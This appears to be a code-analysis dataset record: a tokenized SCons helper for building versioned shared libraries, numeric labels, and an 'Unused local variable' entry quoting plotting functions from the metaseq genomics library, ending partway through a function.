_", "suff", "ix", "\\u", "re_", "=_", "re_", "._", "escape_", "(_", "'.'_", "+_", "version_", "+_", "shl", "ib", "\\u", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "name_", "=_", "re_", "._", "sub_", "(_", "suff", "ix", "\\u", "re_", ",_", "shl", "ib", "\\u", "suffix_", ",_", "libname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Version", "Sh", "Lib", "Link", "Names", ":", " ", "link", "name", " ", "=", " ", "\"_", ",_", "link", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "link", "names_", "._", "append_", "(_", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "platform_", "==_", "'", "posix", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sys_", "._", "platform_", "._", "startswith_", "(_", "'", "openb", "sd", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Open", "BS", "D", " ", "use", "s", " ", "x", ".", "y", " ", "shared", " ", "librar", "y", " ", "versioning", " ", "numbering", " ", "convention", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "doe", "sn", "'", "t", " ", "use", " ", "symlinks", " ", "to", " ", "back", "ward", "s", "-", "compatible", " ", "libraries_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "For", " ", "libf", "oo", ".", "so", ".", "x", ".", "y", ".", "z", ",", " ", "link", "names", " ", "libf", "oo", ".", "so", " ", "libf", "oo", ".", "so", ".", "x", ".", "y", " ", "libf", "oo", ".", "so", ".", "x_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "suff", "ix", "\\u", "re_", "=_", "re_", "._", "escape_", "(_", "shl", "ib", "\\u", "suffix_", "+_", "'.'_", "+_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Fi", "rst", " ", "link", "name", " ", "has", " ", "no", " ", "version", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "link", "name_", "=_", "re_", "._", "sub_", "(_", "suff", "ix", "\\u", "re_", ",_", "shl", "ib", "\\u", "suffix_", ",_", "libname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Version", "Sh", "Lib", "Link", "Names", ":", " ", "link", "name", " ", "=", " ", "\"_", ",_", "link", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "link", "names_", "._", "append_", "(_", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version", "parts_", "=_", "version_", "._", "split_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "major", "\\u", "name_", "=_", "link", "name_", "+_", "\".\"_", "+_", "version", "parts_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mino", "r", "\\u", "name_", "=_", "major", "\\u", "name_", "+_", "\".\"_", "+_", "version", "parts_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "add", " ", "link", " ", "for", " ", "major", "\\u", "name_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "link", "name", " ", "in", " ", "[", "major", "\\u", "name", ",", " ", "mino", "r", "\\u", "name", "]:", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "link", "name_", "in_", "[_", "major", "\\u", "name_", ",_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Version", "Sh", "Lib", "Link", "Names", ":", " ", "link", "name", " ", "\"_", ",_", "link", "name_", ",_", "\",", " ", "target", " ", "\"_", ",_", "libname", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "link", "names_", "._", "append_", "(_", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "note", ":", " ", "no", " ", "Window", "s", " ", "case", " ", "here", " ", "(", "win32", " ", "or", " ", "cyg", "win", ");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MS", "VC", " ", "doe", "sn", "'", "t", " ", "support", " ", "this", " ", "type", " ", "of", " ", "versioned", " ", "shared", " ", "libs", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "coul", "d", " ", "probab", "ly", " ", "do", " ", "somet", "hing", " ", "for", " ", "Min", "GW", " ", "tho", "ugh", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "link", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Versione", "d", "Share", "d", "Library_", "(_", "target_", "=_", "None_", ",_", "source_", "=_", "None_", ",_", "env_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Build", " ", "a", " ", "shared", " ", "librar", "y", ".", " ", "If", " ", "the", " ", "environ", "ment", " ", "has", " ", "SH", "LIB", "VERSI", "ON", "\\", "10", ";", "defin", "ed", " ", "make", " ", "a", " ", "versioned", " ", "shared", " ", "librar", "y", " ", "and", " ", "create", " ", "the", " ", "appropr", "iate", "\\", "10", ";", "symlinks", " ", "for", " ", "the", " ", "platform", " ", "we", " ", "are", " ", "on", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Verbos", "e_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "env_", "._", "subst_", "(_", "'$", "SH", "LIB", "VERSI", "ON", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "libname", " ", "include", "s", " ", "the", " ", "version", " ", "number", " ", "if", " ", "one", " ", "was", " ", "given_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "libname", "_", "=_", "target_", "[_", "0_", "]_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform_", "=_", "env_", "._", "subst_", "(_", "'$", "PLATFORM", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shl", "ib", "\\u", "suffix_", "=_", "env_", "._", "subst_", "(_", "'$", "SH", "LIBS", "UFF", "IX", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shl", "ink", "\\u", "flags_", "=_", "SC", "ons_", "._", "Util_", "._", "CL", "Var_", "(_", "env_", "._", "subst_", "(_", "'$", "SH", "LINK", "FLAG", "S", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Version", "Sh", "Lib", ":", " ", "libname", " ", " ", "=", " ", "\"_", ",_", "libname", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Version", "Sh", "Lib", ":", " ", "platform", " ", "=", " ", "\"_", ",_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Version", "Sh", "Lib", ":", " ", "shl", "ib", "\\u", "suff", "ix", " ", "=", " ", "\"_", ",_", "shl", "ib", "\\u", "suffix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Version", "Sh", "Lib", ":", " ", "target", " ", "=", " ", "\"_", ",_", "str_", "(_", "target_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "version_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "shared", " ", "librar", "y", " ", "link", " ", "flags_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "platform_", "==_", "'", "posix", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shl", "ink", "\\u", "flags_", "+=_", "[_", "'-", "Wl", ",-", "Bs", "ymbo", "lic", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Open", "BS", "D", " ", "doe", "sn", "'", "t", " ", "usual", "ly", " ", "use", " ", "SON", "AME", " ", "for", " ", "libraries_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "sys_", "._", "platform_", "._", "startswith_", "(_", "'", "openb", "sd", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "continue", " ", "setup", " ", "of", " ", "shl", "ink", " ", "flags", " ", "for", " ", "all", " ", "other", " ", "POSI", "X", " ", "systems_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "suff", "ix", "\\u", "re_", "=_", "re_", "._", "escape_", "(_", "shl", "ib", "\\u", "suffix_", "+_", "'.'_", "+_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "major_", ",_", "age_", ",_", "revision_", ")_", "=_", "version_", "._", "split_", "(_", "\".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sona", "me", " ", "will", " ", "have", " ", "only", " ", "the", " ", "major", " ", "version", " ", "number", " ", "in", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "sona", "me_", "=_", "re_", "._", "sub_", "(_", "suff", "ix", "\\u", "re_", ",_", "shl", "ib", "\\u", "suffix_", ",_", "libname", "_", ")_", "+_", "'.'_", "+_", "major_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shl", "ink", "\\u", "flags_", "+=_", "[_", "'-", "Wl", ",-", "sona", "me", "=", "%", "s", "'_", "%_", "sona", "me_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", " ", "sona", "me", " ", "\"_", ",_", "sona", "me_", ",_", "\",", " ", "shl", "ink", "\\u", "flags", " ", "\"_", ",_", "shl", "ink", "\\u", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "platform_", "==_", "'", "cyg", "win", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shl", "ink", "\\u", "flags_", "+=_", "[_", "'-", "Wl", ",-", "Bs", "ymbo", "lic", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "Wl", ",-", "-", "out", "-", "impli", "b", ",", "${", "TARGET", ".", "base", "}.", "a", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "platform_", "==_", "'", "dar", "win", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shl", "ink", "\\u", "flags_", "+=_", "[_", "'-", "current", "\\u", "version", "'_", ",_", "'%", "s", "'_", "%_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "compatibility", "\\u", "version", "'_", ",_", "'%", "s", "'_", "%_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "undefined", "'_", ",_", "'", "dynami", "c\\u", "look", "up", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Version", "Sh", "Lib", ":", " ", "shl", "ink", "\\u", "flags", " ", "=", " ", "\"_", ",_", "shl", "ink", "\\u", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "env", "link_", "=_", "env_", "._", "Clone", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env", "link_", "[_", "'", "SH", "LINK", "FLAG", "S", "'_", "]_", "=_", "shl", "ink", "\\u", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env", "link_", "=_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "SC", "ons_", "._", "Defaults_", "._", "Sh", "Link", "Action_", "(_", "target_", ",_", "source_", ",_", "env", "link_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "version_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "here", " ", "we", " ", "need", " ", "the", " ", "full", " ", "path", "name", " ", "so", " ", "the", " ", "link", "s", " ", "end", " ", "up", " ", "in", " ", "the", " ", "right", " ", "directory_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "libname", "_", "=_", "target_", "[_", "0_", "]_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "names_", "=_", "Version", "Sh", "Lib", "Link", "Names_", "(_", "version_", ",_", "libname", "_", ",_", "env_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Ver", "Sh", "Lib", ":", " ", "link", "names", " ", "\"_", ",_", "link", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Her", "e", " ", "we", " ", "just", " ", "need", " ", "the", " ", "file", " ", "name", " ", "w", "/", "o", " ", "path", " ", "as", " ", "the", " ", "target", " ", "of", " ", "the", " ", "link_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lib", "\\u", "ver_", "=_", "target_", "[_", "0_", "]_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "symlink", " ", "of", " ", "adjacent", " ", "names", " ", "in", " ", "link", "names_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "count_", "in_", "range_", "(_", "len_", "(_", "link", "names_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "link", "name_", "=_", "link", "names_", "[_", "count_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "count_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "os_", "._", "remove_", "(_", "last", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "symlink_", "(_", "os_", "._", "path_", "._", "basename_", "(_", "link", "name_", ")_", ",_", "last", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", "Ver", "Sh", "Lib", ":", " ", "made", " ", "sym", " ", "link", " ", "of", " ", "%", "s", " ", "->", " ", "%", "s", "\"_", "%_", "(_", "last", "link", "name_", ",_", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "last", "link", "name_", "=_", "link", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "finish", " ", "chain", " ", "of", " ", "sym", " ", "link", "s", " ", "with", " ", "link", " ", "to", " ", "the", " ", "actual", " ", "library_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "link", "names_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "last", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "symlink_", "(_", "lib", "\\u", "ver_", ",_", "last", "link", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Verbos", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Ver", "Sh", "Lib", ":", " ", "made", " ", "sym", " ", "link", " ", "of", " ", "%", "s", " ", "->", " ", "%", "s", "\"_", "%_", "(_", "link", "name_", ",_", "lib", "\\u", "ver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
daler/metaseq/metaseq/plotutils.py
[ { "content": "def prepare_logged(x, y):\n \"\"\"\n Transform `x` and `y` to a log scale while dealing with zeros.\n\n This function scales `x` and `y` such that the points that are zero in one\n array are set to the min of the other array.\n\n When plotting expression data, frequently one sample will have reads in\n a particular feature but the other sample will not. Expression data also\n tends to look better on a log scale, but log(0) is undefined and therefore\n cannot be shown on a plot. This function allows these points to be shown,\n piled up along one side of the plot.\n\n :param x,y: NumPy arrays\n \"\"\"\n xi = np.log2(x)\n yi = np.log2(y)\n\n xv = np.isfinite(xi)\n yv = np.isfinite(yi)\n\n global_min = min(xi[xv].min(), yi[yv].min())\n global_max = max(xi[xv].max(), yi[yv].max())\n\n xi[~xv] = global_min\n yi[~yv] = global_min\n\n return xi, yi", "metadata": "root.prepare_logged", "header": "['module', '___EOS___']", "index": 484 }, { "content": "def new_clustered_sortind(x, k=10, row_key=None, cluster_key=None):\n \"\"\"\n Uses MiniBatch k-means clustering to cluster matrix into groups.\n\n Each cluster of rows is then sorted by `scorefunc` -- by default, the max\n peak height when all rows in a cluster are averaged, or\n cluster.mean(axis=0).max().\n\n Returns the index that will sort the rows of `x` and a list of \"breaks\".\n `breaks` is essentially a cumulative row count for each cluster boundary.\n In other words, after plotting the array you can use axhline on each\n \"break\" to plot the cluster boundary.\n\n If `k` is a list or tuple, iteratively try each one and select the best\n with the lowest mean distance from cluster centers.\n\n :param x: Matrix whose rows are to be clustered\n :param k: Number of clusters to create or a list of potential clusters; the\n optimum will be chosen from the list\n :param row_key:\n Optional function to act as a sort key for sorting rows within\n clusters. Signature should be `scorefunc(a)` where `a` is a 1-D NumPy\n array.\n :param cluster_key:\n Optional function for sorting clusters. Signature is `clusterfunc(a)`\n where `a` is a NumPy array containing all rows of `x` for cluster `i`.\n It must return a single value.\n \"\"\"\n try:\n from sklearn.cluster import MiniBatchKMeans\n except ImportError:\n raise ImportError('please install scikits.learn for '\n 'clustering.')\n\n # If integer, do it once and we're done\n if isinstance(k, int):\n best_k = k\n\n else:\n mean_dists = {}\n for _k in k:\n mbk = MiniBatchKMeans(init='k-means++', n_clusters=_k)\n mbk.fit(x)\n mean_dists[_k] = mbk.transform(x).mean()\n best_k = sorted(mean_dists.items(), key=lambda x: x[1])[-1][0]\n\n mbk = MiniBatchKMeans(init='k-means++', n_clusters=best_k)\n mbk.fit(x)\n k = best_k\n labels = mbk.labels_\n scores = np.zeros(labels.shape, dtype=float)\n\n if cluster_key:\n # It's easier for calling code to provide something that operates on\n # a cluster level, but here it's converted to work on a label level\n # that looks in to the array `x`.\n def _cluster_key(i):\n return cluster_key(x[labels == i, :])\n sorted_labels = sorted(range(k), key=_cluster_key)\n else:\n # Otherwise just use them as-is.\n sorted_labels = range(k)\n\n if row_key:\n # Again, easier to provide a function to operate on a row. But here we\n # need it to accept an index\n def _row_key(i):\n return row_key(x[i, :])\n\n final_ind = []\n breaks = []\n pos = 0\n for label in sorted_labels:\n # which rows in `x` have this label\n label_inds = np.nonzero(labels == label)[0]\n if row_key:\n label_sort_ind = sorted(label_inds, key=_row_key)\n else:\n label_sort_ind = label_inds\n for li in label_sort_ind:\n final_ind.append(li)\n pos += len(label_inds)\n breaks.append(pos)\n\n return np.array(final_ind), np.array(breaks)", "metadata": "root.new_clustered_sortind", "header": "['module', '___EOS___']", "index": 662 }, { "content": "def input_ip_plots(iparr, inputarr, diffed, x, sort_ind,\n prefix=None, limits1=(None, None), limits2=(None, None),\n hlines=None, vlines=None):\n\n \"\"\"\n All-in-one plotting function to make a 5-panel figure.\n\n Panels are IP, input, and diffed; plus 2 line plots showing averages.\n\n :param iparr, inputarr: NumPy arrays constructed by a genomic_signal object\n :param diffed: Difference of `iparr` and `inputarr`, but can be some other\n transformation.\n :param x: Extent to use -- for TSSs, maybe something like\n np.linspace(-1000, 1000, bins), or for just bin IDs, something like\n `np.arange(bins)`.\n\n :param sort_ind: row order for each of the 3 panels -- usually interesting\n to use `clustered_sortind` or `tip_zscores`\n\n :param prefix: Used to prefix plot titles with '%(prefix)s IP\", etc\n :param limits1: Tuple passed to the Normalize function for IP and input.\n :param limits2: Tuple passed tot he Normalize function for the diffed array\n :param hlines: List of (position, kwarg) tuples for plotting horizontal\n lines. Kwargs are passed directly to axhline. Useful for delimiting\n clusters, if you used `clustered_sortind` and have both `row_order` and\n `breaks`.\n :param vlines: List of (position, kwargs) tuples. A vertical line will be\n plotted at each position using kwargs.\n \"\"\"\n\n # global min and max\n gmin = min(iparr.min(), inputarr.min())\n gmax = max(iparr.max(), inputarr.max())\n\n fig = plt.figure(figsize=(10, 10))\n\n # 3 arrays, 2 line plots, a gene strip, and 2 colorbars. Plots share the\n # axes that make sense\n #\n # 3 arrays\n ax1 = plt.subplot2grid(\n (9, 9), (0, 0), colspan=3, rowspan=6)\n ax2 = plt.subplot2grid(\n (9, 9), (0, 3), colspan=3, rowspan=6, sharex=ax1, sharey=ax1)\n ax3 = plt.subplot2grid(\n (9, 9), (0, 6), colspan=3, rowspan=6, sharex=ax1, sharey=ax1)\n\n # 2 line plots\n ax4 = plt.subplot2grid((9, 9), (6, 3), colspan=3, rowspan=3, sharex=ax1)\n ax5 = plt.subplot2grid((9, 9), (6, 6), colspan=3, rowspan=3, sharex=ax1)\n\n # 2 colorbars\n cax1 = plt.Axes(fig, rect=(0.05, 0.25, 0.25, 0.025))\n cax2 = plt.Axes(fig, rect=(0.05, 0.15, 0.25, 0.025))\n\n # For nice imshow axes\n extent = (min(x), max(x), 0, diffed.shape[0])\n\n cm = matplotlib.cm.gist_gray\n cm.set_bad('k')\n cm.set_over('r')\n cm.set_under('b')\n\n limits1 = list(limits1)\n limits2 = list(limits2)\n\n all_base = np.column_stack((iparr.ravel(), inputarr.ravel())).ravel()\n\n if limits1[0] is None:\n limits1[0] = mlab.prctile(\n all_base, 1. / all_base.size)\n if limits1[1] is None:\n limits1[1] = mlab.prctile(\n all_base, 100 - 1. / all_base.size)\n if limits2[0] is None:\n limits2[0] = mlab.prctile(\n diffed.ravel(), 1. / all_base.size)\n if limits2[1] is None:\n limits2[1] = mlab.prctile(\n diffed.ravel(), 100 - 1. / all_base.size)\n\n del all_base\n\n imshow_kwargs = dict(\n interpolation='nearest',\n aspect='auto',\n cmap=cm,\n norm=matplotlib.colors.Normalize(*limits1),\n extent=extent,\n origin='lower')\n\n # modify kwargs for diffed (by changing the normalization)\n diffed_kwargs = imshow_kwargs.copy()\n diffed_kwargs['norm'] = matplotlib.colors.Normalize(*limits2)\n\n # IP\n mappable1 = ax1.imshow(iparr[sort_ind, :], **imshow_kwargs)\n\n # input\n mappable2 = ax2.imshow(inputarr[sort_ind, :], **imshow_kwargs)\n\n # diffed\n mappable3 = ax3.imshow((diffed)[sort_ind, :], **diffed_kwargs)\n\n # IP and input line plot with vertical line\n ax4.plot(x, inputarr.mean(axis=0), color='k', linestyle='--',\n label='input')\n ax4.plot(x, iparr.mean(axis=0), color='k', label='ip')\n ax4.axvline(0, color='k', linestyle=':')\n\n # Diffed line plot with vertical line\n ax5.plot(x, diffed.mean(axis=0), 'k', label='enrichment')\n ax5.axvline(0, color='k', linestyle=':')\n\n # Colorbars\n 